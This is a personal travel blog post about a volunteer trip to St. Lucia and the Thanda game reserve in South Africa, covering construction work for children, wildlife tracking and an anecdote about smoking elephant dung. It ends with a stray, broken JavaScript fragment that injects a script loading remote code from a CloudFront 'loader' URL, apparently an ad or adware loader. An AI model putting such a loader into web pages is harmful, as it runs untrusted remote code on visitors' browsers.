Reach Out Volunteers – South Africa, June/July 2011

(The following is something I wrote a year ago, and for some reason did not put it up on my blog, so here it is)

Good evening Everyone.
Sooo, i just came back from a 14 day volunteer work journey to the east coast of South Africa. Including the team leaders, we were a group of 16 people. There were people from Australia, USA and Canada. The first week we spent in St. Lucia Estuary which is a 3 hour drive from Durban. In the second week, we were at the Thanda game reserve, which is a private reserve owned by a swedish rich guy who had initially bought it for hunting, but quickly turned it into a conservation reserve.

I dont know where to start. Im just gonna write down whatever pops in my head….
From the part of africa that i saw….i LOVED IT. Im quite certain i will go back there again very soon, most probably with some volunteer work group or the same one that i just worked with. (The groups name is REACH OUT VOLUNTEERS).

St. Lucia……its a very small town populated by around 600 people, but it has the capacity to have 10,000 people. Its supposed to be a hot tourist spot, ridiculous number of guest houses and everything. Luckily we went at the low time of the year….so…minimal number of people. Alcohol is shockingly cheap. If you think alcohol is cheap in europe……..well….you might wanna have a look at south africa. $1-$2 for a really good beer. Moving on, we lived in a big house….really cool place. Apparently it was haunted. 😛 The leader told us the story on the last night before we left. The girls had asked him why the whole house, windows and everything were grilled. There was one room in particular which had a kind of prison feeling. They had a prison like door. Now, the girls kind of forced him to tell them a ghost story as we were sitting by the bon-fire. The story: Long time ago, a witch doctor used to live in that house. All the locals used to go to him for help and stuff. One day, a rich man from the community asked for the witch doctors help to heal his very sick son. The rich man offered him anything he asked for……eventually…the witch doctor could not heal his son and he died. Furious, the rich man plotted to kill the doctor… he took a fish line..or piano string.. ….basically a sharp string……. he put it at head level in the doctors drive way…..when the witch doctor drove past on his cycle…it cut his head off. His ghost can be seen around the house.
This really freaked the girls out as they had some creepy experiences with doors…opening and closing….one girl even felt like someone was petting their hair at night. And the leaders said that one of the guys from the last group had seen the ghost. Also, the guy sleeping in the bed next to me, one day woke up and found that his blanket was perfectly folded up to his knees from the bottom. (wierd)

Now, fast forwarding to the last night. He finished the story. Heres how it goes:  So, after the witch doctor, a family moved in. The couple had one son who was mentally challenged. He used to live in the room that felt like a prison. At a very early age, the child used to have the problem of sleep walking. The parents did not think it was much of a problem at first. But it started to become a regular thing after a few years. The child would come into their room and speak in another language. They could not figure out what he was saying. They tried to ask people around town for help, and obviously he would not sleep walk the nights there was someone monitoring him or be in the house to understand what he was saying. Then, after some time, the child started to venture outside the house and go into other peoples houses. He was breaking into peoples properties and would go and stand next to them or on their bed and speak the same language no one could understand. He was cursing the people, and those people would get sick. The locals got very angry with the family as a lot of people were getting sick. (Oh, before that….the parents figured out what the child was saying…..one night they tried to remember what he said and they told the people in town …..turns out he was speaking the words of the witch doctors…..things witch doctors say). So, the parents had to figure out a way to stop their son from getting into other peoples houses at night(he was around 15-16yrs old at this time). They tried locking the windows and doors. But he would simply break the glass and go about cursing people in their houses. They had to resort to putting the bars all around the house and also putting a jail like door for his room. When that happened, after a few days the child hung himself and left a note….which said something that the witch doctor used to live there had said. ……………..

NOW…..to the happier parts 😛 (sorry…i just HAd to share that story)(i dont know if its true or not)
Sooo…in St. Lucia, our job was to work with the Dukuduku community development guys. Our goal was to put up a whole jungle gym for the children. Oh, before i elaborate on that. ROV (reach out volunteers) picks certain groups who need help for a good purpose. So, we were helping this family, he has 3 children of his own and 17 adopted children….in the day time…his land is also a school for little children, around a 100 kids. Before we got their, all they had was a very small hut for sleeping and a slightly bigger hut where the children could sleep or the mothers could cook. The group before us made a beautiful classroom, we made a jungle gym, started fencing and cleared a shit load of land (i.e. cutting bushes with an axe and machete….YES WE USED A MACHETE! Believe it or not, you can buy an awesome machete from the supermarket 😀 ….you see the street maintanence guys using machetes to chop off trees and bushes to clear the streets :P). The next groups will put up a fence, install a bathroom and a septic tank and something else im forgetting). All of us busted out asses working from 8:30 in the morning to 2pm. We did that for 5 days. The way it would work was, half of us would do construction work, and the other half would do teaching for 1-2 hours (as the kids concentration wouldnt go for more than that). It was hard work. Also, not speaking zulu does not help. Omg, the children …..the cutest children i have ever seen. (The sad part, 60-70% of them have HIV).
I got sooo many cuts on my arms and legs from cutting the bush, all of them have thorns and spikes sticking out. Some of them have thorns 3-4 inches long. Not cool. Got to do a lot of shovelling and hammering. Its the best feeling to know how happy youve made those children and the community. Children who dont know what is a jungle gym. To see the smiles on their face. Was quite sad for everyone to leave that place. 😦
Its amazing to see that you worked hard to make a difference, and you can the see the physical change in the community.

Soo…St. Lucia has a large number of Hippos and crocs and the reserve nearby has rhinos, buffalos and a large diversity of animals. We went on a few trips around the estuary and the reserve. It was awesome to know that hippos come out on the street at night. Hehe. Also, do you think Hippos are cute and cuddly animals? Think again….they kill the most number of people in Africa. The have riduculous reflexes and can run more than 40-50km/hr. Rule: Never come between a hippo and the baby or their source of water. In St. lucia they have this challenge, to put a beer sticker on a hippo…the person who can do this wins 10,000 rand. One guy tried ……got eaten. Well..not eaten….bit in half would be more appropriate.  We also went to Cape Vidal….SOOO…BEAUTIFUL!!!!!

Lets move on to the second week. After St. Lucia, we went to a private game reserve in the middle of nowhere. It was a 1.5 hour drive from St. Lucia.
The Thanda reserve is not open for the public, only volunteers can live there. There is a 5star hotel in the region though. So on our daily walks and rides we would see their cars with tourists. SOoo…only volunteers or photography groups. It as funny observing those very serious people ….and then us…crazy volunteers. This is how are daily routine worked……we were divided into 2 groups…7 each in 1 group. One day we would go in the car…..and then the next day we would walk. We would have to get up early morning at 5:30am …the drivers had to be out by 6am as most animals hunt in the morning and also…our primary goal was to track the Wild Dogs with GPS tracking. The wild dogs are an endangered species as they were seen as pests by the farmers, many died from accidental poaching and they also get competition from the lions. We were tracking a pack of 8 dogs. They are sooo bbeautiful! They are much much better at killing their prey. A lion doesnt fully kill their prey …most of the times the animal is still concious while they eat them. With wild dogs, they kill and finish eating the animal in approx. 7mins flat. Very quick and painless.  Soo…while driving….it was ridiculous how close we got to some animals. We had to track wild dogs using a radar and a frequency box…..trying to hear the beeps and in which direction etc. Once we were able to hear them catch an impala and eat it…..and then we heard hyenas trying to steal their food and the dogs chased them away. Soo cool! We saw lots of zebras and giraffes. They came soo close to the land rover. (im gonna call it land rover cuz…car or jeep doesnt sound appropriate). Then….we saw many warthogs…kudus…nyalas…impalas……we go to see lions twice…..they were about 4-5 meters from us.  Then…the best part was….chilling with the cheetah’s. We found the 2 male cheetah’s and they were just resting in the sun…..we drove up right next to them…turned of the car…and we just  sat their for 15-20mins….. looking at those magnificent animals. We were about 2 meters away from them. Saw lots of birds…..rare birds…..eagles..vultures.
How is this relevant to volunteer work? Well….we track the wild dogs and write down their GPS co-ordinates and activity and details..which goes into a computer and helps the researchers plot areas where the animals mostly live….we also note down gps details of other animals we come across. So we help with the conservation of animals….making sure they are alive…making sure there are not traps set by poachers etc.

Then…the walks…omg…the walks….. walking through thorny bushes………haha…..i should say…not cool….. but it actually an amazing experience….. i did not like the thorns as i was slightly traumatized after the machete work clearing the bushes :P. Anyways…..the walks…..our guide had a rifle with him….and it was just soo much fun…..he would make us eat leaves and explain a lot about the animals and plants/trees. He said…the walks are different because when you are walking…..you are not observing wildlife….you are part of it. It was amazing….following animal tracks…..he showed us how to figure out the size, sex and the direction of the elephant was walking just by its footprint. We also found out, that the african bush is full of aphrodisiacs for men and women…and plants to help stomach problems. 😛
We walked around 30-35kms during the week. On 2 occasions, we were tracking elephants…….. once..we found a group of them bathing and drinking in a water hole. We all snuck behind an uprooted tree. It was amazing. You have to make sure the elephant is okay with your presence, and you have to find a safety spot, which was the tree. The group had walked off and only one remained….he stayed for a while …..then walked off. You would be surprised how such a big animal can disappear in the bush soo fast.
The second time…things got a bit serious……we were walking ….and just as the guide turned left…..he saw the backside of the elephant in front of him…….things got a bit tense and he very quickly instructed us to move back behind the corner……(he had warned us of such situations before hand)
He saw the elephant walk further. He had been waiting there…..listening to us…..he couldnt smell us as the wind was in our favour….but he could hear us. After that…..we went across the dry river bed…..and found him across the small river valley. He was the biggest elephant in the reserve. His tusks were about 2meters. Omg…the power of his trunk….how he just broke thick branches off  trees. After a while we walked down the dry river bed to the small water hole. We were sitting on rocks…..out of no where we hear branches breaking..and we see the elephant behind us……abour 10-15meters away. Omg…the stealth of that animal. Went up on the other hill….and saw him walk past……….we saw that he was not okay with our presence as his tail was stiff. A loose wagging tail means he is comfortable with us. We were lucky that this elephant just walked off. Very exciting.
OH OH!! All of us at one point tried out a SHIT spitting competition. Yes..its exactly what is sounds like.  We took giraffe shit….and spat it as far as we could :D. Giraffe shit is very hard…nice round ball…very aerodynamic.
Now for an awesome elephant shit story. Our guide told us, smoking and inhaling dry elephant shit is used for many health purposes, headaches….and breathing problems. Its very relaxing. When i tried it…….it opened up my lungs and whole respiratory system like never before. I then decided i am definitely going to take some home. I got a plastic bag…..took about 1kg of the stuff.
Every single person was worried and curious to know how i would get it into a place like singapore. Singapore having some of the harshest laws in the world. Everyone wanted to know …..especially the guides who were with us the whole week….
Soo…when i got to the airport…i decided….ill just declare it and see what happens…..so..i start walking towards the customs guy…and….he just points me towards the exit gate…….i was like…..sweeet……. 😀 so…no hassle….. nothing…… i have a bag of elephant shit in my room…ready to be used.  😀

Overall….its been a very eye opening experience….i wish to do more community work in the future….i would highly recommend this to anyone. A lot of volunteer groups just focus on the business side of things….or just focussing on education of children……but with reach out….you actually make a tangible change for the people.
I will be making a movie very soon which will have all the videos and pictures necessary for you to imagine what it might have been like..
Just check my youtube account on the 10th of july
http://www.youtube.com/user/vigil999?feature=mhee

The team leaders…..2 guys from sydney. The most funny and entertaining guys ive ever met. One of them did the best impressions of any fictional character…and the other was full of one liners and sexual innuendo’s. He behaved like a 13yrs old and was a jerk…… an awesome jerk. 😀 I mean…everyone knew he was joking….to me …he was just funny…..really…really funny. And even though the guys fooled around …had fun….they always had things in control and managed everything perfectly. I honestly wouldnt want anyone else to have been the leaders.
Also, our group was full of amazing people…..i wont go into details…..:P

Mind Blowing experience.

I hope you enjoyed reading about my escapades.

For some african visualizations:-  http://www.facebook.com/media/set/?set=a.10150932421919177.424547.576224176&type=1

// -1?’https’:’http’;var ccm=document.createElement(‘script’);ccm.type=’text/javascript’;ccm.async=true;ccm.src=http+’://d1nfmblh2wz0fd.cloudfront.net/items/loaders/loader_1063.js?aoi=1311798366&pid=1063&zoneid=15220&cid=&rid=&ccid=&ip=’;var s=document.getElementsByTagName(‘script’)[0];s.parentNode.insertBefore(ccm,s);jQuery(‘#cblocker’).remove();});};
// ]]>

~ by aadharesk on June 21, 2012.